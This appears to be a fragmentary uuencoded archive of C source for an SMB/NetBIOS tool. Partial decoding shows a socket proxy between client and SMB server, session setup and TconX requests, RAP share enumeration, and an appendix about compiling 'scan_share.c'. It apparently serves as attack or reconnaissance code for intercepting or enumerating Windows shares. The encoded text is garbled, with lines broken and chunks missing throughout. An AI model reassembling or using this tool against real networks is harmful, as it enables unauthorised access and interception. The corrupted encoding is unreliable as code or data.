MF5O9BA.8G1397-S:6]N2&1R*2D[#0H@ M("`@("`@("`@("`@("`@("`@(`T*("`@(')E860H4V]C:U!R;WAY+`T*("`@ M("`@("`@*'5?8VAA2P-"B`@("`@("`@("`H=5]C:&%R("HI("A0 M86-K970I+`T*("`@("`@("`@(&YT;VAS*$YB=%-EPT*("!P2D[#0H@8VQO'DL(&EN="!3;V-K4VUB4V5R=F5R M*0T*>PT*(&EN="!396-U3TP.PT*#0H@:6YT($-O=6YT.PT*#0H@=5]C M:&%R($5N8W)Y<'1I;VY+97E;14Y#7TM%65],14Y'5$A=.PT*(`T*('5?8VAA M2@-"B`@("`@("`@ M("`@("`@4&%C:V5T+`T*("`@("`@("`@("`@("!%;F-R>7!T:6]N2V5Y+`T* M("`@("`@("`@("`@("`F4V5C=7)I='DI.PT*#0H@5W)I=&4H4V]C:U!R;WAY M+%!A8VME="D[#0H-"B\J*BHJ*BHJ*BHJ*E-%5%506"!215%515-4*BHJ*BHJ M*BHJ*BHJ*B\-"B`-"B!296%D*%-O8VM02Q086-K970I.PT*("`-"B!3 M971U<%A297%U97-T*`T*("`@("`@("`@("`@("`@4&%C:V5T+`T*("`@("`@ M("`@("`@("`@16YC2P-"B`@("`@("`@("`@("`@(%-E8W5R M:71Y*3L-"B`@#0H@5W)I=&4H4V]C:U-M8E-EPT*("!PF5O9BA3;6)48V]N6%)E<75E6]U('=A;G0@=&\@:&%V92!N;VX@8FQO8VMI;F<@'DL1E]3151&3"Q/7TY/ M3D),3T-+*3L-"B`@9F-N=&PH4V]C:U-M8E-E'DL)DYB=%-EPT*("`@('!R:6YT9B@B7&Y397-S M:6]N(&9I;FES:&5D("%<;B(I.PT*("`@(&-L;W-E*%-O8VM02D[#0H@ M("`@8VQOR`-"B`@("!M M96US970H4&%C:V5T+#`L25!?34%87U-)6D4I.R`-"B`@(`T*("`@(&UE;6-P M>2A086-K970L*'5?8VAAF5O9BA.8G13 M97-S:6]N2&1R*2D[#0H@("`@("`@("`@("`@("`@("`@(`T*("`@(')E860H M4V]C:U!R;WAY+`T*("`@("`@("`@*'5?8VAA2P-"B`@("`@ M("`@("`H=5]C:&%R("HI("A086-K970I+`T*("`@("`@("`@(&YT;VAS*$YB M=%-EPT*("!P2D[#0H@(&-L;W-E*%-O8VM3;6)397)V97(I.PT*("`-"B`@2D[#0H@8VQOPT* M("!PF5O9BAC:&%R*2DI.PT*("`@('-T2YS:6Y?861D45N970L#0H@("`@("`@("`@("`@("`@("`@("!296%L16YE=$-L:65N M="P-"B`@("`@("`@("`@("`@("`@("`@($1E=FEC92P-"B`@("`@("`@("`@ M("`@("`@("`@($1E45N970L#0H@("`@("`@("`@("`@(%)E86Q% M;F5T4VUB4V5R=F5R+`T*("`@("`@("`@("`@("!$979I8V4L#0H@("`@("`@ M("`@("`@($1E'DN M'DN45N970L#0H@("`@("`@("`@(%)E86Q%;F5T0VQI96YT+`T*("`@("`@ M("`@("!$979I8V4I.PT*#0HO*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\-"@T* M('-W:71C:"A#:&]I8V4I#0H@>PT*("!C87-E("=Y)R`Z#0H@(%-M8E-E2YS:6Y? M9F%M:6QY(#T@049?24Y%5#L-"B!02YS:6Y?<&]R="`](&AT;VYS*$QI M2YS:6Y?861D&EO;BHO#0H@#0H@8FEN9"@-"B`@("`@(%-O8VM02P- M"B`@("`@("AS=')U8W0@2DL#0H@("`@("!S M:7IE;V8H'DL,2D[#0H-"B!#;W5N="`]('-I>F5O9BAS=')U8W0@'DL#0H@("`@("`@("`@("`@("`@("`@("AS M=')U8W0@2DL#0H@("`@("`@("`@("`@("`@ M("`@("AI;G0@*BD@*"9#;W5N="D-"B`@("`@("`@("`@("`@("`@("`I.PT* M#0H@8V]N;F5C="@-"B`@("`@("`@(%-O8VM3;6)397)V97(L#0H@("`@("`@ M("`HF5O9BAS=')U8W0@2PD@#0H@("\J8V]N;F5X:6]N(&]N('!OPT*("`O*DYO'DI.PT* M(`T*(')E='5R;B`P.PT*?2`-"B`@#0H-"@T*#0HO*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ5$A%($5.1"HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHO("`-"@T*#0H-"B\J*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BI#550@2$5212HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHO#0H-"BTM6R`@07!P96YD:7@@0B`-"@T*66]U(&AA=F4@:6X@=&AI6]U M('=A;G0@=&\@8V]M<&EL92!I="P@=&AE(&-O;6UA;F0@:7,@(F=C8R!S8V%N M7W-H87)E+F,@+6\@4TU"6]U('=A;G0N("AL97-S('1H86X@,34@8VAA7,O#4P7'@T,UQX,C!<>#1E7`T*7'@T M-5QX-31<>#4W7'@T9EQX-3)<>#1B7'@R,%QX-3!<>#4R7'@T9EQX-#=<>#4R M7'@T,5QX-&1<>#(P7'@S,5P-"EQX,F5<>#,P7'@P,%QX,#)<>#1D7'@T.5QX M-#-<>#4R7'@T9EQX-3-<>#1F7'@T-EQX-31<>#(P7'@T95QX-#5<#0I<>#4T M7'@U-UQX-&9<>#4R7'@T8EQX-3-<>#(P7'@S,5QX,F5<>#,P7'@S,UQX,#!< M>#`R7'@T9%QX-#E<>#0S7`T*7'@U,EQX-&9<>#4S7'@T9EQX-#9<>#4T7'@R M,%QX-&5<>#0U7'@U-%QX-3=<>#1F7'@U,EQX-&)<>#4S7'@R,%P-"EQX,S-< M>#)E7'@S,%QX,#!<>#`R7'@T8UQX-#%<>#1E7'@T9%QX-#%<>#1E7'@S,5QX M,F5<>#,P7'@P,%QX,#)<#0I<>#1C7'@T9%QX,S%<>#)E7'@S,EQX-3A<>#,P M7'@S,%QX,S)<>#`P7'@P,EQX-3-<>#8Q7'@V9%QX-C)<>#8Q7`T*7'@P,%QX M,#)<>#1E7'@U-%QX,C!<>#1C7'@T,5QX-&5<>#1D7'@T,5QX-&5<>#(P7'@S M,5QX,F5<>#,P7'@P,%P-"EQX,#)<>#1E7'@U-%QX,C!<>#1C7'@T9%QX,C!< M>#,P7'@R95QX,S%<>#,R(B`@("`@("`@("`)#0H-"B\J5&AE(&YA=&EV92!O M"Y386UB82HO#0H- M"B-D969I;F4@3D%4259%7T]37TQ!3DU!3@DB7'@U-5QX-F5<>#8Y7'@W.%QX M,#!<>#4S7'@V,5QX-F1<#0I<>#8R7'@V,2(-"@T*+RI4:&4@0V]M;6%N9"!F M;W(@=&-O;G@@#0Y7'@U,%QX-#-<>#(T7'@P,%QX,V9<>#-F7'@S9EQX M,V9<>#-F(B`-"@T*#0HO*E1H92!205`@8V]M;6%N9"!A;F0@=&AE(%Q0:7!E M7&QA;FUA;B!S=')I;F#4P7'@T.5QX-3!<>#0U7'@U8UQX-&-<>#0Q7'@T95P-"EQX-&1< M>#0Q7'@T95QX,#!<>#`P7'@P,%QX-3=<>##8X7'@P,%QX M-#)<>#,Q7'@S,UQX-#)<>#4W7`T*7'@W85QX,#!<>#`Q7'@P,%QX9F9<>&9F M(@T*+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@ M("`@("`@("`@("`@("!35%)50U154D53#0HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHO"0D)("`@("`-"G1Y<&5D968@"!)9"HO#0I](%-M8D)A7!E9&5F('-T M"!O9B!S96QE8W1E9"!D:6%L96-T*B\-"B!U7VEN=#A?="!396-U M4UO9&4["2\J4V5C=7)I='D@36]D92`Z*B\-"@D)"2\J8FET(#`@.B`P M/7-H87)E+"`Q/75S97(J+PT*"0D)+RIB:70@,2`Z(#$]96YC$UP>$-O=6YT6S)=.R\J36%X(%!E;F1I M;F<@;75L=&EP;&5X960@"!60W,@8F5T=V5E96X@8VQI96YT(&%N9"!S97)V97(J M+PT*('5?:6YT.%]T($UA>$)U9F9EF5;-%T[+RI-87@@=')A;G-M:70@ M8G5F9F5R('-I>F4J+PT*('5?:6YT.%]T($UA>%)A=U-I>F5;-%T[+RI-87@@ M4QE;F=T:#LO*DQE;F=T:"!O9B!E;F-R>7!T:6]N($ME>2HO M#0H@=5]I;G0X7W0@0GET94-O=6YT6S)=.PDO*D-O=6YT(&]F(&1A=&$@8GET M97,J+PT*?2!3;6).96=07!E9&5F('-T'0@8V]M;6%N9"!7;W)D8V]U M;G0J+PT*('5?:6YT.%]T($UA>$)U9F9EF5;,ET[+RI#;&EE;G0G&5D('!E;F1I;F<@F5R;RUA9&1I=&EO;F%L(%9#(&YU;6)E5LT73LO*G-E'0@8VUD("HO#0H@=5]I;G0X7W0@1FQA9W-; M,ET[+RI!9&1I=&EO;F%L(&EN9F]R;6%T:6]N(&)I="`P('-E=#UD:7-C;VYN M96-T(%1I9"`J+PT*('5?:6YT.%]T(%!AF5R;RDJ+PT*('5?:6YT.%]T($]P=&EO;F%L4W5P<&]R M=%LR73LO*D]P=&EO;F%L(%-U<'!O71E$1A M=&%#;W5N=%LR73L)+RI-87@@1&%T82!B>71E%-E='5P0V]U;G0["2\J36%X('-E='5P('=O7!E9&5F('-TPT*('5?:6YT.%]T(%=O71E71E71E71E71E4AD7!E*B\)#0H@=5]I;G0X7W0@1FQA9W,[+RIF;&%G M7!E#(P*B\@#0H@#0H@ M3F5T0FEOF4[#0H@#0H@3F)T4V5S71EF5O9BAU7V-H87(I*2D[#0H-"B!R96%D*%-O8VLL4&%C:V5T+%!A8VME M=$QE;F=T:"D[#0H-"B!3;6).96=0F5O9BAU7VEN=#$V7W0I*3L-"@T*("I$;VUA:6Y.86UE3&5N9W1H(#T@("`@ M4VEZ92`M(`T*"0D)4VUB3F5G4')O=%)E<&QY+3Y%;F-R>7!T:6]N2V5Y3&5N M9W1H.PT*#0H@1&]M86EN3F%M92`]("AU7V-H87(@*BD@*&UA;&QO8R@J1&]M M86EN3F%M94QE;F=T:"`J('-I>F5O9BAU7V-H87(I*2D[#0H-"B\J0V]P>2!T M:&4@1&]M86EN(&YA;64@:6X@82!S=')I;FF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("!S M:7IE;V8H4VUB3F5G4')O=%)E<&QY2&1R*0T*("`@("`@("`@("`@("`@("`@ M("`K(%-M8DYE9U!R;W1297!L>2T^16YC4QE;F=T:"DL#0H@ M("`@("`@("`@("`@("`@("`@("I$;VUA:6Y.86UE3&5N9W1H*3L-"B`-"B!R M971U"!297!L>2P@#0H@*B!A;F0@=&\@:&%V92!S;VUE(&EN9F]R;6%T:6]N M#0H@*B!L:6ME('1H92!4:60@9FEE;&0J+PT*#0H-"G9O:60@4F5C96EV951C M;VY84F5P;'DH#0H@("`@("`@("`@("`@("`@("`@("`@("\J3W5R('-O8VME M="HO#0H@("`@("`@("`@("`@("`@("`@("`@(&EN="!3;V-K+`T*("`@("`@ M("`@("`@("`@("`@("`@("`O*E1H92!4240@9FEE;&0J+PT*("`@("`@("`@ M("`@("`@("`@("`@("!U7VEN=#A?="`J5&ED*0T*>PT*#0H@:6YT(%!A8VME M=$QE;F=T:#L-"@T*('5?8VAAF5O9BAU7V-H87(I*2D[#0H- M"B!R96%D*%-O8VLL4&%C:V5T+%!A8VME=$QE;F=T:"D[#0H-"B!3;6)"87-E M(#T@*%-M8D)AF5O9BAU7VEN=#A?="DI.PT*#0H@9G)E92A086-K970I.PT*#0I]#0H-"B\J M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\@#0H-"B\J06YA;'ES:7,@;V8@=&AE M('1R86YS86-T:6]N(&%N9"!205`@8V]M;6%N9',@PT*("!U7V-H87(@3F5T3F%M95LQ,UT[#0H@('5?8VAA4AD3L-"@T*('5?:6YT,39?="!$:7-P;&%C M96UE;G0[#0H-"B!3:&%R94EN9F\@*E-H87)E.PT*#0H@4F5P;'E087)A;65T M97)S("I297!L>3L-"@T*(&EN="!I.PT*(`T*+RI4;R!R96-E:79E('1H92!. M971B:6]S(&AE861E2P@86YD('1H M92`-"B`J(%)!4"!C;VUM86YD(')EF5O9BA3;6)"87-E2&1R*2D[#0H@;65M8W!Y*"9$:7-P;&%C96UE;G0L#0H@ M("`@("`@(%-M8E1R86YS4F5P;'DM/E!A2T^16YTF4@82!P;VEN=&5R('1O M('1H92!S979EPT*("!PF5O9BA.0E1#;&EE;G0I*2D[#0H-"B\J5&AE($Y%5$))3U,@ M:&5A9&5R*B\-"B`-"B!.8G1397-S:6]N(#T@*$YB=%-E#@Q(%-E7!E(#T@,'@X,3L-"@T*+RI&;&%G6]U(&UU2!T M:&4@8VQI96YT)W,@3D540DE/4R!E;F-O9&5D(&YA;64L(`T*("H@5&AA="=S M(&%L;"!F;VQKF5O9BA.0E1397)V97(I*3L-"B`-"B`@#0H@;65M8W!Y*`T*("`@("`@("`O M*D%F=&5R('1H92!S97)V97(G71E0V]U M;G1;,%T@/2!S:7IE;V8H4TU"7U!23U1/0T],4RD@*R`Q.PT*#0HO*B@K(#$@ M9F]R('1H92!S:7IE(&]F($)U9F9E2!T:&4@9&EA;&5C="!S M=')I;FF5O M9BA.8G1397-S:6]N2&1R*0T*("`@("`@("`@("`@("`@("`@("`@("`@("`@ M*R!S:7IE;V8H4VUB0F%S94ADF5O9BA3;6).96=0F5O9BA3;6)3971U<%A297%U97-T2&1R*2`K#0H@("`@("`@ M("`@("`@("`@1&]M86EN3F%M94QE;F=T:"`K(#$@*PT*("`@("`@("`@("`@ M("`@71E71E0V]U;G1;,%T@ M/2`@#0H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@1&]M86EN3F%M M94QE;F=T:"`K(#$@*PT*("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M('-I>F5O9BA.051)5D5?3U-?3$%.34%.*3L-"B`-"@T*(&UE;6-P>2@H=5]C M:&%R("H@*2`H4&%C:V5T("L@#0H@("`@("`@("`@("`@("`@("`@("!S:7IE M;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("`@2@H=5]C:&%R("H@*2`H4&%C:V5T("L@#0H@("`@ M("`@("`@("`@("`@("`@("!S:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@ M("`@("`@("`@("`@("`@("`@F5O9BA3;6)3 M971U<%A297%U97-T2&1R*2`K#0H@("`@("`@("`@("`@("`@1&]M86EN3F%M M94QE;F=T:"`K(`T*("`@("`@("`@("`@("`@('-I>F5O9BA.051)5D5?3U-? M3$%.34%.*2`K#0H@("`@("`@("`@("`@("`@PT*(&EN="!086-K971,96YG=&@[#0H@=5]C M:&%R("I086-K970[#0H@=5]C:&%R("I0871H.PT*#0H@4VUB0F%S94ADF5O9BA3;6)48V]N6%)E<75E MF5O9BA.8G1397-S:6]N2&1R*2D[#0H-"B!3;6)"87-E M+3Y5:61;,%T],'@V-#L-"B`-"B\J0G5I;&0@=&AE(%1C;VY8(')E<75E2@H M=5]C:&%R("H@*2`H4&%C:V5T("L@#0H@("`@("`@("`@("`@("`@("`@("!S M:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("`@ MF5O M9BA40T].6%]#3TU-04Y$*2D[#0H-"B\J4V5N9"!T:&4@4&%C:V5T*B\-"@T* M(%!A8VME=$QE;F=T:"`]"7-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@ M("`@("`@("`@F5O M9BA40T].6%]#3TU-04Y$*2`K#0H@("`@("`@("`@("`@("`@,2`K('-I>F5O M9BA.8G1397-S:6]N2&1R*3L-"@T*('=R:71E*%-O8VLL4&%C:V5T+%!A8VME M=$QE;F=T:"D[#0H-"B!FF5O9BA.8G1397-S:6]N2&1R*2D- M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@*B!S:7IE;V8H=5]C:&%R M*2DI.PT*#0H-"B\J($)U:6QD('1H92!.971B:6]S($AE861EF5O9BAU M7VEN=#A?="DI.PT*#0HO*D)U:6QD(%1H92!3;6(@5')A;G-A8W1I;VX@4F5Q M=65S="!(96%D97(J+PT*#0I4F5O9BA.8G1397-S:6]N2&1R*2`-"B`@("`@("`@ M("`@("`@("`@*R!S:7IE;V8H4VUB0F%S94AD%!A$1A=&%#;W5N=%LP73TP>$9&.PT* M#0HO*DYO($1A=&$L('-O(%1O=&%L1&%T84-O=6YT(&%N9"!$871A0V]U;G0@ M87)E(&5Q=6%L('1O('IE71E71E0V]U;G1;,%T],S([#0H- M"B\J0V]P>2!T:&4@;F%M92!S=')I;F<@9F]R($YE='-H87)E16YU;2!F=6YC M=&EO;BHO#0H-"B!M96UC<'DH*'5?8VAAF5O9BA3;6)4F5O9BA.04U%7U)!4%]#3TU-04Y$*2TQ*3L-"@T*(%!A8VME M=$QE;F=T:"`]"7-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@("`@("`@ M("`@F5O9BA.04U%7U)!4%]#3TU-04Y$*2`M,2`K(`T*("`@("`@("`@ M("`@("`@('-I>F5O9BA.8G1397-S:6]N2&1R*3L-"B`-"B!W'1EPT*('-T871I8R!C:&%R(&]P='-TPT* M("!PPT*("`@8V%S92`G8R#(P(')E<')E2A3;V-K+"`F1&]M86EN3F%M94QE;F=T:"D[#0H- M"B\J(%1H:7,@9G5N8W1I;VX@